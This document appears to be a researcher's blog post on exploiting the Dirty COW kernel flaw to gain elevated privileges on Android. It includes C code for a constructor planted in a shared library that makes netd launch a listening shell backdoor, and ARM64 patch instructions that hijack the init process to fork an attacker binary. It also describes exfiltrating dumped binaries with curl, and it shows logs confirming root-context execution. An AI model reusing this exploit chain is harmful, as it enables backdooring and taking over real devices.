Thanks to the great findings of CVE-2016-5195, you can check the detail in the link.
Dirty COW vulnerability:
https://dirtycow.ninja/
PoC for Android:
https://github.com/timwr/CVE-2016-5195
What you can do with the exploit, in short, you can modify arbitrary file if readable.
Well not just that, I'll explain it later.
To gain root privilege, in Linux, you have /etc/passwd, su, while in Android, no su, no mount rw on /system, but with SELINUX.
No su means root privilege is officially blocked, and even with capability to
setuid, you can only root at restricted SELINUX context, like
u:r:shell:s0.
No mount rw on /system means your modified data will not be written back to disk.
Dirty COW modifies the file mapping in Linux kernel, dirty data sync with disk will be blocked if device mounted read only.
So in Android, you have no decent privilege escalation way, and do not like reboot (kernel reboot).
What about modify services like
lkmd,
vold,
netd which was already running as root.
I chose
netd which has network policy granted by SELINUX. Then two problems came:
netd is not readable by us and MAYBE you need to restart the process.
First problem is easy to resolve, for these executables are linked with multiple shared libraries like
libsysutils.so. You can add function to AOSP code
/system/core/libsysutils/src/ and recompile it with
mmma command.
With
__attribute__((constructor)), your function will be executed at linking.
To be noticed, file size can not be changed by the exploit and data exceed original size will be removed, so you need to trim the size of new so. Mostly a CFLAG -Os can be the key. In my experiment, I roughly made a so only with code below (netd will not function any more):
static void con() __attribute__((constructor));
void con() {
if (getuid() == 0) {
char buf[255];
int fd = open("/proc/self/cmdline",O_RDONLY);
read(fd, buf, 255);
if (strstr(buf,"/system/bin/netd")) {
char * argv[]={"tc",NULL};
char * envp[]={0,NULL};
execve("/system/bin/tc",argv,envp);
}
/system/bin/tc is a shell backdoor dirtycowed listening at random port acting like
netcat or
telnetd. Dirtycow your backdoor into another executable
/system/bin which has SELINUX label
"u:object_r:system_file:s0". Do not use
busybox for some of its code would trigger SELINUX policy.
Second problem, how to execute our modified code? Still need to another vulnerability to crash target process? After experimenting, the answer is NO.
When executing an ELF, Linux kernel maps the ELF into memory. The mapping will be reused when you open the ELF again. When you dirtycow the ELF file, existed ELF process image are changed too. That is to say, Dirty COW CAN MODIFY ANY RUNNING PROCESS IF READABLE. If the process ELF self is not readable, you still can
cat /proc/{pid}/maps to find out if its loaded modules readable.
In my experimenting, after dirtycow
libsysutil.so,
netd soon crashed. The crash reason is SEGMENT FAULT, because CPU suddenly running our code with everything changed. Thanks to Android's watchdog,
netd will be restarted.
Now you have the
u:r:netd:s0 context, and you can get
installd or
system_server to control Android framework same way. What about the No.1 process
init? Let's figure out what can be done in context
u:r:init:s0.
For
init, situation is different. We don't have any shared libraries and if
init crashed the kernel will reboot. Okay seems have to patch the native code!
Firstly, check the
init code, find out where
init are running now.
https://android.googlesource.com/platform/system/core/+/master/init/init.cpp#698
That's a while loop. Seems we need to patch code running here.
Secondly, dump the
init ELF. It's easy if you already have
netd shell. But notice that even
netd cannot access internal storage or /data, so use
curl to post it out!
Check SimpleHTTPServerWithUpload here:
https://gist.github.com/UniIsland/3346170
Then load
init into reverse tools and choose an area for our own shellcode which our
init would not possible run into it, like stack overflow protector in every functions:
STP X29, X30, [SP,#-0x10+var_s0]!
ADRP X0, #aStackCorruptio@PAGE ; "stack corruption detected"
MOV X29, SP
ADD X0, X0, #aStackCorruptio@PAGEOFF ; "stack corruption detected"
BL sub_429678
MOV X8, #0x24
SVC 0
CMN X0, #1,LSL#12
CINV X0, X0, HI
B.HI loc_42A7DC
RET
Patch the stack cookie check condition instruction in function
ExecuteOneCommand (
https://android.googlesource.com/platform/system/core/+/master/init/init.cpp#700) to always jump (B) to our "protector":
LDR X21, [X22,#0xE10]
LDR X22, [X29,#0x160+var_8]
LDR X23, [X21]
CMP X22, X23
B.NE loc_404558 ; -> B loc_404558
LDP X19, X20, [SP,#0x160+var_150]
LDP X21, X22, [SP,#0x160+var_140]
LDP X23, X24, [SP,#0x160+var_130]
LDR X25, [SP,#0x160+var_120]
LDP X29, X30, [SP+0x160+var_160],#0x160
RET
Well write a full ARM64 shellcode is painful, you need to really careful not letting
init crash. After digging, I found valuable functions in static linked
init, just like this one:
android_fork_execvp_ext
https://android.googlesource.com/platform/system/core/+/master/logwrapper/logwrap.c#484
You can copy existed
android_fork_execvp_ext invoke instructions and modify some offset. (In recent versions, two parameters
opts and
opts_len added, you can copy latest code and set
opts_len to 0)
Try this helpful ARM converter:
http://armconverter.com/
STP X29, X30, [SP, #-0x20]!
MOV X29, SP
MOV W0, #1 ; argc
ADR X2, aSystemBinTftp_ ;"/system/bin/tftp_server"
STR X2, [X29, #0x10]
ADD X1, X29, #0x10 ; argv
ADD X2, X29, #0x18 ; status
MOV W3, #1 ; ignore_int_quit
MOV W4, W0 ; log_target
MOV W5, #0 ; abbreviated
MOV X6, #0 ; file_path
BL android_fork_execvp_ext
LDP X29, X30, [SP], #0x20
B loc_4044F8
Dirtycow
/init in the
netd shel, and
adb shell setprop service.adb.tcp.port 5555
to continue the while loop in
init. If you are lucky enough, you will see a forked process
tftp_server running in
u:r:init:s0 context. "/system/bin/tftp_server" is dirtycowed with our new shellcode, but socket is SELINUX restricted even running in
u:r:init:s0. My implementation reads commands from /sdcard/ and writes output to logcat.
I/tftp_server( 1): pid: 18048, port: 51306
I/tftp_server( 1): selinux_ret: 0
I/tftp_server( 1): command: uid=0(root) gid=0(root) context=u:r:init_shell:s0
I/tftp_server( 1): telnetd/server.c:56: mount: Permission denied
I/tftp_server( 1): tftp_server terminated by exit(1)
What about root? In my device, mount system rw or reload SELINUX policy is restricted, but still has chance like insmod. Unfortunately, the OEM vendor of my phone enforces the kernel module signing and does not discloses the private key.
Any help advance us to root is much appreciated!